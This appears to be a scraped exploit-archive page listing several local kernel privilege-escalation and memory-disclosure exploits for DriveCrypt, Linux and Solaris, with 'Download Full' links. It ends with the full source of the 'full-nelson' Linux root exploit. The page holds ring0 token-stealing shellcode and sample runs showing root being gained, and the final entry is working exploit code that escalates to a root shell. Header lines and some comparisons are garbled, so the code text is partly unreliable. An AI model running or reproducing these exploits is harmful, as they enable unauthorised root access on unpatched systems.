DriveCrypt 5.3 Local Kernel ring

/* drivecrypt-dcr.c

*

* Copyright (c) 2009 by

*

* DriveCrypt <= 5.3 local kernel ring0 SYSTEM exploit

* by mu-b - Sun 16 Aug 2009

*

* - Tested on: DCR.sys

*

* Compile: MinGW + -lntdll

*

* - Private Source Code -DO NOT DISTRIBUTE -

* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!

*/

#include

#include

#include

#include

#define DCR_IOCTL 0x00073800

static unsigned char win32_fixup[] =

"\x89\xe5"

"\x81\xc5\xb4\x0c\x00\x00";

/* Win2k3 SP1/2 - kernel EPROCESS token switcher

* by mu-b

*/

static unsigned char win2k3_ring0_shell[] =

/* _ring0 */

"\xb8\x24\xf1\xdf\xff"

"\x8b\x00"

"\x8b\xb0\x18\x02\x00\x00"

"\x89\xf0"

/* _sys_eprocess_loop */

"\x8b\x98\x94\x00\x00\x00"

"\x81\xfb\x04\x00\x00\x00"

"\x74\x11"

"\x8b\x80\x9c\x00\x00\x00"

"\x2d\x98\x00\x00\x00"

"\x39\xf0"

"\x75\xe3"

"\xeb\x21"

/* _sys_eprocess_found */

"\x89\xc1"

"\x89\xf0"

/* _cmd_eprocess_loop */

"\x8b\x98\x94\x00\x00\x00"

"\x81\xfb\x00\x00\x00\x00"

"\x74\x10"

"\x8b\x80\x9c\x00\x00\x00"

"\x2d\x98\x00\x00\x00"

"\x39\xf0"

"\x75\xe3"

/* _not_found */

"\xcc"

/* _cmd_eprocess_found

* _ring0_end */

Download Full

Linux Kernel 2.6.36 Kernel Memory Disclosure

/*

* cve-2010-3437.c

*

* Linux Kernel <>

* Jon Oberheide

* http://jon.oberheide.org

*

* Information:

*

* https://bugzilla.redhat.com/show_bug.cgi?id=638085

*

* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a

* pktcdvd_device from the global pkt_devs array. The index into this

* array is provided directly by the user and is a signed integer, so the

* comparison to ensure that it falls within the bounds of this array will

* fail when provided with a negative index.

*

* Usage:

*

* $ gcc cve-2010-3437.c -o cve-2010-3437

* $ ./cve-2010-3437

* usage: ./cve-2010-3437

* $ ./cve-2010-3437 0xc0102290 64

* [+] searching for pkt_devs kernel symbol...

* [+] found pkt_devs at 0xc086fcc0

* [+] opening pktcdvd device...

* [+] calculated dereference address of 0x790070c0

* [+] mapping page at 0x79007000 for pktcdvd_device dereference...

* [+] setting up fake pktcdvd_device structure...

* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...

* [+] dumping kmem to output...

*

* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...

* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...

*

* Notes:

*

* Pass the desired kernel memory address and dump length as arguments.

*

* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by

* specifying a large negative device index, causing the kernel to

* dereference to our fake pktcdvd_device structure in userspace and copy

* data to userspace from an attacker-controlled address. Since only 4

* bytes of kmem are disclosed per ioctl call, large dump sizes may take a

* few seconds.

*

* Tested on Ubuntu Lucid 10.04. 32-bit only for now.

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

Download Full


Linux Kernel 2.6.37 Local Privilege Escalation

/*

* Linux Kernel <= 2.6.37 local privilege escalation

* by Dan Rosenberg

* @djrbliss on twitter

*

* Usage:

* gcc full-nelson.c -o full-nelson

* ./full-nelson

*

* This exploit leverages three vulnerabilities to get root, all of which were

* discovered by Nelson Elhage:

*

* CVE-2010-4258

* -------------

* This is the interesting one, and the reason I wrote this exploit. If a

* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL

* word will be written to a user-specified pointer when that thread exits.

* This write is done using put_user(), which ensures the provided destination

* resides in valid userspace by invoking access_ok(). However, Nelson

* discovered that when the kernel performs an address limit override via

* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,

* etc.), this override is not reverted before calling put_user() in the exit

* path, allowing a user to write a NULL word to an arbitrary kernel address.

* Note that this issue requires an additional vulnerability to trigger.

*

* CVE-2010-3849

* -------------

* This is a NULL pointer dereference in the Econet protocol. By itself, it's

* fairly benign as a local denial-of-service. It's a perfect candidate to

* trigger the above issue, since it's reachable via sock_no_sendpage(), which

* subsequently calls sendmsg under KERNEL_DS.

*

* CVE-2010-3850

* -------------

* I wouldn't be able to reach the NULL pointer dereference and trigger the

* OOPS if users weren't able to assign Econet addresses to arbitrary

* interfaces due to a missing capabilities check.

*

* In the interest of public safety, this exploit was specifically designed to

* be limited:

*

* * The particular symbols I resolve are not exported on Slackware or Debian

* * Red Hat does not support Econet by default

* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and

* Debian

*

* However, the important issue, CVE-2010-4258, affects everyone, and it would

* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly

* more sophisticated version of this that doesn't have the roadblocks I put in

* to prevent abuse by script kiddies.

*

* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.

*

* NOTE: the exploit process will deadlock and stay in a zombie state after you

* exit your root shell because the Econet thread OOPSes while holding the

* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.

*

* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla

*/

Download Full


Linux Kernel CAP_SYS_ADMIN

/*

* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)

* by Joe Sylve

* @jtsylve on twitter

*

* Released: Jan 7, 2011

*

* Based on the bug found by Dan Rosenberg (@djrbliss)

* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/

*

* Usage:

* gcc -w caps-to-root2.c -o caps-to-root2

* sudo setcap cap_sys_admin+ep caps-to-root2

* ./caps-to-root2

*

* Kernel Version >= 2.6.34 (untested on earlier versions)

*

* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit

*

* This exploit takes advantage of the same underflow as the original,

* but takes a different approach. Instead of underflowing into userspace

* (which doesn't work on 64-bit systems and is a lot of work), I underflow

* to some static values inside of the kernel which are referenced as pointers

* to userspace. This method is pretty simple and seems to be reliable.

*/

#include

#include

#include

#include

#include

#include

// Skeleton Structures of the Kernel Structures we're going to spoof

struct proto_ops_skel {

int family;

void *buffer1[8];

int (*ioctl)(void *, int, long);

void *buffer2[12];

};

struct phonet_protocol_skel {

void *ops;

void *prot;

int sock_type;

};

Download Full


Local Solaris Kernel Exploit

/***********************************************************

* hoagie_solaris_siocgtunparam.c

* LOCAL SOLARIS KERNEL ROOT EXPLOIT (<>

*

* Bug reported by Tobias Klein

* http://www.trapkit.de/advisories/TKADV2008-015.txt

* Exploit by: peri.carding (http://www.void.at/main/)

*

* $ ./hoagie_solaris_siocgtunparam

* hoagie_solaris_siocgtunparam.c - solaris root < <>

* -andi / void.at

*

* [*] socket created

* [*] mapping zero page successful

* [*] process cred address: 0xd3853894

* [*] prepare null page

* [*] clean up write queue

* # uname -a

* SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc

* # id

* uid=0(root) gid=0(root)

* #

*

* First of all we have to make sure that ip_extract_tunreq() will

* return 0 and ipifp is still set to NULL. This can be achieved by

* using an interface alias starting with zero. (the interface ip.tun0

* must not exist because ipif_lookup_on_name() will "fail" to get

* null page)

*

* ip_if.c / ipif_lookup_on_name()

* ...

* if (&cp[2] <>

* return (NULL);

* ...

*

* In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter

* so we have to set the offet for an ill_t structure. Later putnext()

* will be called with a queue (see ill_t). We can use this queue to

* add a custom callback function that is used by putnext().

*

* ip_if.c / ip_sioctl_tunparam():

* ...

* ill = ipif->ipif_ill;

* mutex_enter(&connp->conn_lock);

* mutex_enter(&ill->ill_lock);

* ...

* if (success) {

* ip1dbg(("sending down tunparam request "));

* putnext(ill->ill_wq, mp1);

* return (EINPROGRESS);

Download Full


Linux Kernel 2.6.27 compat exploit

/*

Ac1dB1tch3z Vs Linux Kernel x86_64 0day

Today is a sad day..

R.I.P.

Tue, 29 Apr 2008 / Tue, 7 Sep 2010

a bit of history:

MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)

author David L Stevens

Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)

committer David S. Miller

Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)

This patch adds support for getsockopt for MCAST_MSFILTER for

both IPv4 and IPv6. It depends on the previous setsockopt patch,

and uses the same method.

Signed-off-by: David L Stevens

Signed-off-by: YOSHIFUJI Hideaki

Signed-off-by: David S. Miller

------------------------------------------------------------

Thank you for signing-off on this one guys.

This exploit has been tested very thoroughly

over the course of the past few years on many many targets.

Thanks to redhat for being nice enough to backport it into early

kernel versions (anything from later August 2008+)

Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the

plan8 man. Just a bit too l8.

PS:

OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

Download Full


Linux Kernel <= 2.6.37 Local Privilege Escalation

/*

* Linux Kernel <= 2.6.37 local privilege escalation

* by Dan Rosenberg

* @djrbliss on twitter

*

* Usage:

* gcc full-nelson.c -o full-nelson

* ./full-nelson

*

* This exploit leverages three vulnerabilities to get root, all of which were

* discovered by Nelson Elhage:

*

* CVE-2010-4258

* -------------

* This is the interesting one, and the reason I wrote this exploit. If a

* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL

* word will be written to a user-specified pointer when that thread exits.

* This write is done using put_user(), which ensures the provided destination

* resides in valid userspace by invoking access_ok(). However, Nelson

* discovered that when the kernel performs an address limit override via

* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,

* etc.), this override is not reverted before calling put_user() in the exit

* path, allowing a user to write a NULL word to an arbitrary kernel address.

* Note that this issue requires an additional vulnerability to trigger.

*

* CVE-2010-3849

* -------------

* This is a NULL pointer dereference in the Econet protocol. By itself, it's

* fairly benign as a local denial-of-service. It's a perfect candidate to

* trigger the above issue, since it's reachable via sock_no_sendpage(), which

* subsequently calls sendmsg under KERNEL_DS.

*

* CVE-2010-3850

* -------------

* I wouldn't be able to reach the NULL pointer dereference and trigger the

* OOPS if users weren't able to assign Econet addresses to arbitrary

* interfaces due to a missing capabilities check.

*

* In the interest of public safety, this exploit was specifically designed to

* be limited:

*

* * The particular symbols I resolve are not exported on Slackware or Debian

* * Red Hat does not support Econet by default

* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and

* Debian

*

* However, the important issue, CVE-2010-4258, affects everyone, and it would

* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly

* more sophisticated version of this that doesn't have the roadblocks I put in

* to prevent abuse by script kiddies.

*

* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.

*

* NOTE: the exploit process will deadlock and stay in a zombie state after you

* exit your root shell because the Econet thread OOPSes while holding the

* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.

*

* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

/* How many bytes should we clear in our

* function pointer to put it into userspace? */

#ifdef __x86_64__

#define SHIFT 24

#define OFFSET 3

#else

#define SHIFT 8

#define OFFSET 1

#endif

/* thanks spender... */

unsigned long get_kernel_sym(char *name)

{

FILE *f;

unsigned long addr;

char dummy;

char sname[512];

struct utsname ver;

int ret;

int rep = 0;

int oldstyle = 0;

f = fopen("/proc/kallsyms", "r");

if (f == NULL) {

f = fopen("/proc/ksyms", "r");

if (f == NULL)

goto fallback;

oldstyle = 1;

}

repeat:

ret = 0;

while(ret != EOF) {

if (!oldstyle)

ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);

else {

ret = fscanf(f, "%p %s\n", (void **)&addr, sname);

if (ret == 2) {

char *p;

if (strstr(sname, "_O/") || strstr(sname, "_S."))

continue;

p = strrchr(sname, '_');

if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {

p = p - 4;

while (p > (char *)sname && *(p - 1) == '_')

p--;

*p = '\0';

}

}

}

if (ret == 0) {

fscanf(f, "%s\n", sname);

continue;

}

if (!strcmp(name, sname)) {

fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :

"");

fclose(f);

return addr;

}

}

fclose(f);

if (rep)

return 0;

fallback:

uname(&ver);

if (strncmp(ver.release, "2.6", 3))

oldstyle = 1;

sprintf(sname, "/boot/System.map-%s", ver.release);

f = fopen(sname, "r");

if (f == NULL)

return 0;

rep = 1;

goto repeat;

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;

_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))

getroot(void * file, void * vma)

{

commit_creds(prepare_kernel_cred(0));

return -1;

}

/* Why do I do this? Because on x86-64, the address of

* commit_creds and prepare_kernel_cred are loaded relative

* to rip, which means I can't just copy the above payload

* into my landing area. */

void __attribute__((regparm(3)))

trampoline()

{

#ifdef __x86_64__

asm("mov $getroot, %rax; call *%rax;");

#else

asm("mov $getroot, %eax; call *%eax;");

#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg

* via sock_no_sendpage, so it's under KERNEL_DS */

int trigger(int * fildes)

{

int ret;

struct ifreq ifr;

memset(&ifr, 0, sizeof(ifr));

strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

if(ret <>

printf("[*] Failed to set Econet address.\n");

return -1;

}

splice(fildes[3], NULL, fildes[1], NULL, 128, 0);

splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

/* Shouldn't get here... */

exit(0);

}

int main(int argc, char * argv[])

{

unsigned long econet_ops, econet_ioctl, target, landing;

int fildes[4], pid;

void * newstack, * payload;

/* Create file descriptors now so there are two

references to them after cloning...otherwise

the child will never return because it

deadlocks when trying to unlock various

mutexes after OOPSing */

pipe(fildes);

fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);

fildes[3] = open("/dev/zero", O_RDONLY);

if(fildes[0] <>

printf("[*] Failed to open file descriptors.\n");

return -1;

}

/* Resolve addresses of relevant symbols */

printf("[*] Resolving kernel addresses...\n");

econet_ioctl = get_kernel_sym("econet_ioctl");

econet_ops = get_kernel_sym("econet_ops");

commit_creds = (_commit_creds) get_kernel_sym("commit_creds");

prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {

printf("[*] Failed to resolve kernel symbols.\n");

return -1;

}

if(!(newstack = malloc(65536))) {

printf("[*] Failed to allocate memory.\n");

return -1;

}

printf("[*] Calculating target...\n");

target = econet_ops + 10 * sizeof(void *) - OFFSET;

/* Clear the higher bits */

landing = econet_ioctl <<>> SHIFT;

payload = mmap((void *)(landing & ~0xfff), 2 * 4096,

PROT_READ | PROT_WRITE | PROT_EXEC,

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

if ((long)payload == -1) {

printf("[*] Failed to mmap() at target address.\n");

return -1;

}

memcpy((void *)landing, &trampoline, 1024);

clone((int (*)(void *))trigger,

(void *)((unsigned long)newstack + 65536),

CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,

&fildes, NULL, NULL, target);

sleep(1);

printf("[*] Triggering payload...\n");

ioctl(fildes[2], 0, NULL);

if(getuid()) {

printf("[*] Exploit failed to get root.\n");

return -1;

}

printf("[*] Got root!\n");

execl("/bin/sh", "/bin/sh", NULL);

}